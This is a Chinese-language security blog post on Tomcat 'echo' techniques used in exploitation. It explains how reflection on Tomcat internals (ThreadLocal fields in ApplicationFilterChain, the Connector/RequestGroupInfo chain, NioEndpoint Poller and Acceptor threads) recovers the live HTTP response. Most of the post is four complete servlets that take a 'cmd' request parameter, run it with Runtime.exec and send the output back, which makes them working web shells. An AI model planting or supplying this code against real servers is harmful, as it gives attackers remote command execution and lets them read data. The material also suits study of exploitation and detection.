ThreadLocal Response回显
ThreadLocal类
ThreadLocal
类用于在多线程环境下实现线程局部变量,在 org.apache.catalina.core.ApplicationFilterChain
类中就有这么一个类型的对象,该对象是 ServletRequest
和 ServletResponse
类型的 ThreadLocal
变量
从该变量中我们就可以获取响应内容,还需要注意的是在赋值时判断了 ApplicationDispatcher.WRAP_SAME_OBJECT
的值,该值是布尔类型,默认值为false
回显分析
我们需要对 lastServicedRequest
、lastServicedResponse
、ApplicationDispatcher.WRAP_SAME_OBJECT
通过反射来修改值
try {
Field wrapSameObjectField = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(wrapSameObjectField, wrapSameObjectField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
wrapSameObjectField.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
if (!wrapSameObjectField.getBoolean(null)){
wrapSameObjectField.setBoolean(null, true);
}
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
上面的属性我们已经修改过了,接下来我们就是要获取ServletRequest对象
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
需要注意的是,这里我们是获取的ThreadLocal类ServletResponse类型对象
if (lastServicedResponse == null){
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
}
接着我们要判断lastServicedResponse是不是null值,这里我们要提到的一点是我们需要访问两次,第一次通过反射来修改值和赋值,第二次我们才真正的去执行命令并回显
如果lastServicedResponse值为null的话,那么我们就对 lastServicedRequest
和 lastServicedResponse
字段进行赋值
第一次我们访问这个Servlet时,是不会去执行命令回显的,先通过反射修改值和赋值,而第二次访问我们再去执行命令和回显
ServletResponse servletResponse = lastServicedResponse.get();
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ServletRequest servletRequest = lastServicedRequest.get();
String cmd = servletRequest.getParameter("cmd");
通过调用 lastServicedResponse
的 get
方法我们就可以获取到ServletResponse对象,由于后面我们需要获取参数,我们也一并获取lastServicedRequest对象,再获取cmd参数,该参数就是我们需要执行的命令
if (cmd != null) {
String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
PrintWriter writer = servletResponse.getWriter();
Field responseField = servletResponse.getClass().getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(servletResponse);
Field usingWriterField = response.getClass().getDeclaredField("usingWriter");
usingWriterField.setAccessible(true);
usingWriterField.set(response, Boolean.FALSE);
writer.write(res);
writer.flush();
writer.close();
}
为了避免空指针问题,先判断有没有cmd参数,后面就是执行命令并获取输入流,使用 \\A
正则表达式从字符串开头开始匹配读取所有输入流,调用 next
方法读取获取的内容
通过调用 servletResponse.getWriter()
获取PrintWriter对象
该servletResponse对象其实是 ResponseFacade
类,通过反射获取 servletResponse
对象的 response
属性得到 Response
对象
由于调用 servletResponse.getWriter()
时会将 usingWriter
属性值设置为true,这种情况有时候会报错,有时候又正常,没有仔细分析过原因,我们通过反射来设置 usingWriter
属性值为false
最后将上面读取执行命令的内容发送到客户端文本响应
回显实现
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationFilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;
@WebServlet("/response")
public class Tomcat_Echo_Response extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException{
try {
Field wrapSameObjectField = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(wrapSameObjectField, wrapSameObjectField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
wrapSameObjectField.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
// 设置值
if (!wrapSameObjectField.getBoolean(null)){
wrapSameObjectField.setBoolean(null, true);
}
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
if (lastServicedResponse == null){
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
}else{
ServletResponse servletResponse = lastServicedResponse.get();
ThreadLocal<ServletRequest> lastServicedRequest =
(ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ServletRequest servletRequest = lastServicedRequest.get();
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
PrintWriter writer = servletResponse.getWriter();
Field responseField = servletResponse.getClass().getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(servletResponse);
Field usingWriterField = response.getClass().getDeclaredField("usingWriter");
usingWriterField.setAccessible(true);
usingWriterField.set(response, Boolean.FALSE);
writer.write(res);
writer.flush();
writer.close();
}
}
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
}
存在的问题
在 ApplicationFilterChain
类 internalDoFilter
方法中,精简代码如下:
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
...
filter.doFilter(request, response, this); // 漏洞触发点
} catch (...)
...
}
}
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response); // 回显点
}
if (...){
...
} else {
servlet.service(request, response);
}
} catch (...) {
...
} finally {
...
}
根据上面的代码知道,我们上面在使用ThreadLocal Response回显时是在12行开始的,如果漏洞触发点是在第6行,我们就无法使用ThreadLocal Response回显
全局Response回显
上面的ThreadLocal Response是比较依赖Tomcat的代码处理流程的,如果漏洞是在 lastServicedRequest
和 lastServicedResponse
对象调用 set()
方法之前的,我们就没有办法利用了
那我们现在就要改变思路,不通过反射来修改这些值,也不通过ThreadLocal Response回显方法来利用了,而去找全局能获取到的Request和Response对象
调用栈
doGet:48, Tomcat_Echo_Response
service:655, HttpServlet (javax.servlet.http)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:360, CoyoteAdapter (org.apache.catalina.connector)
service:399, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:890, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1789, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:750, Thread (java.lang)
为了方便查看调用栈的调用情况,贴出上面ThreadLocal Response回显的调用栈
寻找Response
我们都知道,Tomcat处理HTTP请求的入口是在 org.apache.coyote.http11.Http11Processor
类中,该类继承了 AbstractProcessor
类
在其父类 AbstractProcessor
中有 Request
和 Response
属性且是final类型的,赋值了就不会改变其属性,那么我们如何获取到这两个属性呢?由于这两个属性不是静态变量,不能直接获取,我们直接去找哪里有 Http11Processor
对象即可
在 AbstractProtocol
类的内部类 ConnectionHandler#process()
方法中获取了 Http11Processor
对象,在该对象里有 request
和 response
属性,随后调用 register()
方法,跟进方法看看
在该方法里获取了 Http11Processor
类对象的 reqProcessorMX
属性,该属性是 RequestInfo
类对象,后面接着调用了这个类对象的 setGlobalProcessor()
方法
调用这个方法的参数是 global
属性,该属性是 RequestGroupInfo
类对象
在 RequestInfo.setGlobalProcessor()
方法中,将该方法的参数global赋值给了 RequestInfo
类的 global
属性,又调用参数global的 addRequestProcessor()
方法,参数是 RequestInfo
类对象本身
我们只需要获取到 global
属性即可获取到 response
对象,而 global
是 AbstractProtocol
类 ConnectionHandler
内部类的属性,那么我们需要找到存储了 AbstractProtocol
类及其子类的对象
在调用栈 CoyoteAdapter
类 service()
方法中,connector
属性为 Connector
类,该属性类对象的 protocolHandler
属性是 Http11NioProtocol
类对象,在该类对象中有一个 handler
属性是 AbstractProtocol$ConnectionHandler
类,这样我们就找到了
目前我们依次获取对象即可获取到 response
对象
connector
-> protocolHandler
-> handler
-> AbstractProtocol$ConnectoinHandler
-> global
-> RequestInfo
-> req
-> response
获取Connector对象
那么 connector
对象我们如何获取呢?
在Tomcat服务器启动时,会将connector对象添加到 StandardService
对象中,我们来具体看下怎么添加的
代码位于 org.apache.catalina.startup.Tomcat.java
中
这样的话,我们还需要获取到 StandardService
对象才行,向下获取链就依次如下:
StandardService
-> connectors[]
-> connector
-> protocolHandler
-> handler
-> AbstractProtocol$ConnectoinHandler
-> global
-> RequestInfo
-> req
-> response
获取StandardService对象
参考网上的文章,看这一张图,最外层是Tomcat Server服务器,网上一致给出的答案是获取当前线程的ContextClassLoader,其实就是WebAppClassLoader
其WebAppClassLoader中有一个属性 service
就是 StandardService
对象
向下获取链如下:
WebAppClassLoader
-> resources
-> context
-> context
-> StandardService
-> connectors[]
-> connector
-> protocolHandler
-> handler
-> AbstractProtocol$ConnectoinHandler
-> global
-> RequestInfo
-> req
-> response
实现全局Response回显
获取WebAppClassLoaderBase和StandardContext
不同Tomcat版本获取WebAppClassLoaderBase的resources属性方式不一样,高版本可能获取到的是null,所以需要一种通用的解决方案
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
这里我们获取了WebAppClassLoaderBase对象,再获取了StandardContext对象
如果调用 getResources()
方法返回的是null,说明在你使用的Tomcat高版本中已经弃用了该方法,想要获取该属性就需要通过反射来获取
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Field resourcesField = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
resourcesField.setAccessible(true);
WebResourceRoot resources = (WebResourceRoot) resourcesField.get(webappClassLoaderBase);
StandardContext standardContext = (StandardContext) resources.getContext();
获取ApplicationContext
Field contextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) contextField.get(standardContext);
从 StandardContext
对象中获取的 context
属性就是 ApplicationContext
对象
获取StandardService对象
Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
serviceField.setAccessible(true);
StandardService standardService = (StandardService) serviceField.get(applicationContext);
获取StandardService对象的connectors属性
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(standardService);
获取AbstractProtocol对象的handler属性
ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
Field handlerField = AbstractProtocol.class.getDeclaredField("handler");
handlerField.setAccessible(true);
AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
这里handler属性是AbstractProtocol内部类ConnectoinHandler,这个内部类实现了AbstractEndpoint.Handler接口
获取ConnectoinHandler内部类的global属性
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestInfo requestInfo = (RequestInfo) globalField.get(handler);
获取RequestGroupInfo对象的processors属性
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> processors = (List<RequestInfo>) processorsField.get(global);
获取RequestInfo的req属性
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
获取HttpServletRequest和HttpServletResponse对象回显
for (RequestInfo requestInfo : processors){
org.apache.coyote.Request request = (org.apache.coyote.Request) reqField.get(requestInfo);
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) http_request.getResponse();
String cmd = http_request.getParameter("cmd");
PrintWriter writer = response.getWriter();
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
scanner.close();
writer.write(result);
writer.flush();
}
通过调用 getNote()
方法获取 org.apache.catalina.connector.Request
类对象,在该对象下有一个 response
属性,该属性是 org.apache.catalina.connector.Response
类型,而 org.apache.catalina.connector.Request
类和 org.apache.catalina.connector.Response
类都分别实现了HttpServletRequest和HttpServletResponse接口,后续我们就可以直接回显命令执行后的内容了
回显实现
import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
@WebServlet("/response2")
public class Tomcat_Echo_Response2 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp){
try {
// 获取WebAppClassLoaderBase和StandardContext
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Field resourcesField = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
resourcesField.setAccessible(true);
WebResourceRoot resources = (WebResourceRoot) resourcesField.get(webappClassLoaderBase);
StandardContext standardContext = (StandardContext) resources.getContext();
// 获取ApplicationContext
Field contextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) contextField.get(standardContext);
// 获取StandardService
Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
serviceField.setAccessible(true);
StandardService standardService = (StandardService) serviceField.get(applicationContext);
// 获取StandardService的connectors属性
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors = (Connector[]) connectorsField.get(standardService);
// 获取AbstractProtocol的protocolHandler属性
ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
Field handlerField = AbstractProtocol.class.getDeclaredField("handler");
handlerField.setAccessible(true);
AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
// 获取ConnectoinHandler内部类的global属性
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
// 获取RequestGroupInfo对象的processors属性
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> processors = (List<RequestInfo>) processorsField.get(global);
// 获取RequestInfo对象的req属性
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
// 获取HttpServletRequest和HttpServletResponse对象
for (RequestInfo requestInfo : processors){
org.apache.coyote.Request request = (org.apache.coyote.Request) reqField.get(requestInfo);
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) http_request.getResponse();
String cmd = http_request.getParameter("cmd");
PrintWriter writer = response.getWriter();
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
scanner.close();
writer.write(result);
writer.flush();
}
}catch (Exception e){
e.printStackTrace();
}
}
}
通用Tomcat版本回显
在上面我们提到,在高版本Tomcat中使用全局回显是会存在一些问题的,我们就需要找一种通用的方式来回显
在全局Response回显中,我们真正来获取request对象是在获取AbstractProtocol内部类ConnectoinHandler的handler属性开始
在 org.apache.tomcat.util.net.AbstractEndpoint
抽象类中有一个内部接口 Handler
,该接口实现自AbstractProtocol内部类ConnectoinHandler
所以我们只需要获取到 AbstractEndpoint
抽象类对象就能获取到AbstractProtocol内部类ConnectoinHandler
AbstractEndpoint
抽象类是不能被实例化的,因此我们只能找到其子类
这里我们选择 NioEndpoint
类,该类是Apache Tomcat中的一个关键类,它是Tomcat的 NIO(New I/O)模块的一部分,用于处理基于NIO的网络通信
这里可以从当前线程所属线程组中获取到该对象,也有两种办法
通过Poller类对象获取NioEndpoint对象
在当前线程所属线程组中找到一个线程的 target
属性为 NioEndpoint
类的内部类 Poller
类对象,发现该属性下面有个 this$0
属性,这个属性是 Poller
外部类的引用,也就是 NioEndpoint
类
那么向下获取链就如下:
Thread.currentThread().getThreadGroup()
-> theads[]
-> thread
-> target
-> NioEndpoint$Poller
-> NioEndpoint
-> AbstractProtocol$ConnectoinHandler
-> global
-> RequestInfo
-> req
-> response
从当前线程中获取线程组
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = threadGroup.getClass().getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[]) threadsField.get(threadGroup);
遍历线程组中的所有线程
for (Thread thread : threads){
if (thread.getClass() == Thread.class){
Field targetField = thread.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
这里对线程组进行遍历并判断了每个线程类是否是Thread类,因为在DEBUG调试时,发现我们需要用到的线程类是Thrad这里进行一个过滤,然后再获取 target
属性
获取NioEndpoint类Poller子类外部类的引用
if (target != null && target.getClass() == NioEndpoint.Poller.class){
Field this0Field = Class.forName("org.apache.tomcat.util.net.NioEndpoint$Poller").getDeclaredField(
"this$0");
this0Field.setAccessible(true);
Object this0 = this0Field.get(target);
还需要对 target
属性的类型进行判断,这里我们只要 NioEndpoint$Poller
类,后面就是获取 NioEndpoint
类的 Poller
子类的外部类的引用,也就是 NioEndpoint
类
获取AbstractEndpoint类中的handler属性
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this0);
获取AbstractEndpoint类的handler属性就是 AbstractProtocol
类的 ConnectionHandler
子类,后续的话和全局Response回显后半段一样
实现代码
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.NioEndpoint;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
@WebServlet("/response3")
public class Tomcat_Echo_Response3 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp){
try {
// 从当前线程中获取线程组
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = threadGroup.getClass().getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[]) threadsField.get(threadGroup);
// 遍历线程组中的所有线程
for (Thread thread : threads){
// 判断线程是否是Thread类
if (thread.getClass() == Thread.class){
// 获取该线程中的target属性
Field targetField = thread.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
// 判断target属性是否是NioEndpoint类Poller子类
if (target != null && target.getClass() == NioEndpoint.Poller.class){
// 获取NioEndpoint类Poller子类外部类的引用,也就是NioEndpoint类
Field this0Field = Class.forName("org.apache.tomcat.util.net.NioEndpoint$Poller").getDeclaredField(
"this$0");
this0Field.setAccessible(true);
Object this0 = this0Field.get(target);
// 获取AbstractEndpoint类中的handler属性,其属性是AbstractProtocol类ConnectionHandler子类
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(this0);
// 获取ConnectoinHandler内部类的global属性
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
// 获取RequestGroupInfo对象的processors属性
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> processors = (List<RequestInfo>) processorsField.get(global);
// 获取RequestInfo对象的req属性
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
// 获取HttpServletRequest和HttpServletResponse对象
for (RequestInfo requestInfo : processors){
org.apache.coyote.Request request = (org.apache.coyote.Request) reqField.get(requestInfo);
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) http_request.getResponse();
String cmd = http_request.getParameter("cmd");
PrintWriter writer = response.getWriter();
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
scanner.close();
writer.write(result);
writer.flush();
}
}
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}
通过Acceptor类对象获取NioEndpoint对象
这个方法貌似更顺畅一些,直接就可以获取到 AbstractProtocol$ConnectionHandler
类
获取Acceptor类的endpoint属性
if (target != null && target.getClass() == Acceptor.class){
Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
endpointField.setAccessible(true);
Object endpoint = endpointField.get(target);
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(endpoint);
这里很简单了,在 Acceptor
类中获取 endpoint
属性,之后就和 Poller
类获取 handler
属性一样了,就不过多介绍了
实现代码
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.Acceptor;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;
@WebServlet("/response4")
public class Tomcat_Echo_Response4 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp){
try {
// 从当前线程中获取线程组
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = threadGroup.getClass().getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[]) threadsField.get(threadGroup);
// 遍历线程组中的所有线程
for (Thread thread : threads){
// 判断线程是否是Thread类
if (thread.getClass() == Thread.class){
// 获取该线程中的target属性
Field targetField = thread.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
// 判断target属性是否是Acceptor子类
if (target != null && target.getClass() == Acceptor.class){
// 获取Acceptor类的endpoint属性
Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
endpointField.setAccessible(true);
Object endpoint = endpointField.get(target);
// 获取AbstractEndpoint类中的handler属性,其属性是AbstractProtocol类ConnectionHandler子类
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(endpoint);
// 获取ConnectoinHandler内部类的global属性
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
// 获取RequestGroupInfo对象的processors属性
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
List<RequestInfo> processors = (List<RequestInfo>) processorsField.get(global);
// 获取RequestInfo对象的req属性
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
// 获取HttpServletRequest和HttpServletResponse对象
for (RequestInfo requestInfo : processors){
org.apache.coyote.Request request = (org.apache.coyote.Request) reqField.get(requestInfo);
org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1);
org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) http_request.getResponse();
String cmd = http_request.getParameter("cmd");
PrintWriter writer = response.getWriter();
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
scanner.close();
writer.write(result);
writer.flush();
}
}
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}
HTTP数据包过长
在某些大佬的博客中提到了使用通用Tomcat回显方法可能会导致性能问题,设置HTTP请求包头最大的大小来解决该问题
Field maxHttpHeaderSizeField = Class.forName("org.apache.coyote.http11.AbstractHttp11Protocol").getDeclaredField("maxHttpHeaderSize");
maxHttpHeaderSizeField.setAccessible(true);
maxHttpHeaderSizeField.set(null, 1024 * 1024);
Author: wileysec
Permalink: https://wileysec.github.io/a22ba09b7177.html
Comments